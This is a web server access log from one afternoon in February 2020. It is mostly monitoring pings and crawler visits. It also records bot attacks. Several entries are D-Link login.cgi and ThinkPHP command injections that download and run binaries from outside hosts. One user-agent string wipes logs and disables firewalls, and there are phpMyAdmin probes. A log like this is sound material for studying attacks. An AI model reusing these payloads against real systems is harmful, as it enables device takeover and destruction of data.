85.25.185.103 - - [20/Feb/2020:16:43:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [20/Feb/2020:16:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.185.103 - - [20/Feb/2020:16:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
222.186.19.221 - - [20/Feb/2020:16:43:52 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
45.238.58.165 - - [20/Feb/2020:16:44:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:16:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.185.103 - - [20/Feb/2020:16:44:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
78.183.139.81 - - [20/Feb/2020:16:45:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
222.186.19.221 - - [20/Feb/2020:16:45:13 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
124.88.112.92 - - [20/Feb/2020:16:45:16 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
219.143.174.18 - - [20/Feb/2020:16:45:16 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.138.79.99 - - [20/Feb/2020:16:45:17 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.248.200.115 - - [20/Feb/2020:16:45:20 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.224.235.144 - - [20/Feb/2020:16:45:21 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
183.128.219.49 - - [20/Feb/2020:16:45:21 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.39.46.96 - - [20/Feb/2020:16:45:22 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.213.75.61 - - [20/Feb/2020:16:45:22 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.13.12.241 - - [20/Feb/2020:16:45:25 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:16:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.185.103 - - [20/Feb/2020:16:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [20/Feb/2020:16:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.185.103 - - [20/Feb/2020:16:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
119.39.47.41 - - [20/Feb/2020:16:47:08 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36Mozilla/5.01732016 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
212.91.246.72 - - [20/Feb/2020:16:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [20/Feb/2020:16:47:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [20/Feb/2020:16:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.135.48.110 - - [20/Feb/2020:16:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:16:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.88.255.162 - - [20/Feb/2020:16:55:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:16:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.224.243.163 - - [20/Feb/2020:17:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:17:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.206.61.177 - - [20/Feb/2020:17:03:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:17:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.82.7.250 - - [20/Feb/2020:17:04:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:17:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [20/Feb/2020:17:05:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:17:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.90.206.241 - - [20/Feb/2020:17:07:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:17:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.81.40.185 - - [20/Feb/2020:17:10:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:17:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
107.6.171.130 - - [20/Feb/2020:17:18:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
122.51.117.82 - - [20/Feb/2020:17:18:23 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
122.51.117.82 - - [20/Feb/2020:17:18:24 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
122.51.117.82 - - [20/Feb/2020:17:18:25 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
122.51.117.82 - - [20/Feb/2020:17:18:26 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
122.51.117.82 - - [20/Feb/2020:17:18:27 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [20/Feb/2020:17:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.51.117.82 - - [20/Feb/2020:17:18:31 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [20/Feb/2020:17:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.208.102.37 - - [20/Feb/2020:17:22:03 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de/" "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
54.208.102.37 - - [20/Feb/2020:17:22:03 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "http://www.friedrich-list-berlin.de/favicon.ico" "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
212.91.246.72 - - [20/Feb/2020:17:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.145.26.55 - - [20/Feb/2020:17:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:17:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.34.179.19 - - [20/Feb/2020:17:25:40 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36Mozilla/5.01732016 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
212.91.246.72 - - [20/Feb/2020:17:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.144.20.134 - - [20/Feb/2020:17:27:40 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.58.236.104 - - [20/Feb/2020:17:27:41 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.235.138.169 - - [20/Feb/2020:17:27:41 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.61.128 - - [20/Feb/2020:17:27:42 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.13.12.7 - - [20/Feb/2020:17:27:42 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.117.206.47 - - [20/Feb/2020:17:27:42 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.79.49.129 - - [20/Feb/2020:17:27:44 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.249.98.78 - - [20/Feb/2020:17:27:46 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
117.14.153.163 - - [20/Feb/2020:17:27:46 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:17:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.15.191.81 - - [20/Feb/2020:17:37:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [20/Feb/2020:17:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.238.167.18 - - [20/Feb/2020:17:47:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:17:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.183.141.57 - - [20/Feb/2020:17:49:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:17:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.92.231.39 - - [20/Feb/2020:17:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
3.92.231.39 - - [20/Feb/2020:17:50:45 +0100] "GET /favicon.ico HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:17:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.102.136.90 - - [20/Feb/2020:17:52:34 +0100] "GET / HTTP/1.1" 200 1229 "http://www.herrmann-kleindienst.de/produkte/fuehrerscheinwesen/index.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
148.71.44.68 - - [20/Feb/2020:17:52:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.102.136.90 - - [20/Feb/2020:17:52:35 +0100] "GET /favicon.ico HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
45.143.220.189 - - [20/Feb/2020:17:53:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [20/Feb/2020:17:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.173.111.195 - - [20/Feb/2020:17:54:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:17:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [20/Feb/2020:17:55:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [20/Feb/2020:17:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [20/Feb/2020:17:58:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [20/Feb/2020:17:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:17:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
